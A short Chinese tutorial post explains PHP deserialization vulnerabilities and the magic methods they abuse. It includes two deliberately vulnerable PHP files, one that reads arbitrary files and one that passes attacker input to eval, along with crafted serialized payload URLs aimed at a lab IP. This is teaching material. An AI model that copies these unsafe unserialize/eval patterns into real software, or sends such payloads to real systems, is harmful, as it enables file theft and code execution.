PHP反序列化漏洞原理与举例
程序员文章站
2022-03-09 14:26:49
...
原理:
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。
漏洞触发条件:
unserialize函数的变量可控,php文件中存在可利用的类,类中有魔术方法
魔术方法:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
序列化数据格式:
serialize函数与unserialize函数对比:
<?php
$a='xiaohua';
echo $a;
echo '<br>';
echo serialize($a);
echo '<br>';
echo unserialize('s:7:"xiaohua";');
?>
文件读取
创建文件ceshi.php代码如下
<?php
class F{
public $filename='C:/index.php';
function __destruct(){
$data=readfile($this->filename);
echo $data;
}
}
unserialize($_GET['a']);
?>
输入:http://192.168.106.130/ceshi.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:8:%22c:/1.txt%22;}
c:/1.txt文件中内容是xxx,xxx3中3是说明内容有3个字符
代码执行
<?php
class F{
var $var = '';
function __destruct(){
eval($this->var);
}
}
unserialize($_GET['a']);
?>
输入:http://192.168.106.130/ceshi.php?a=O:1:%22F%22:1:{s:3:%22var%22;s:10:%22phpinfo();%22;}
下一篇: PHP反序列化漏洞——pikachu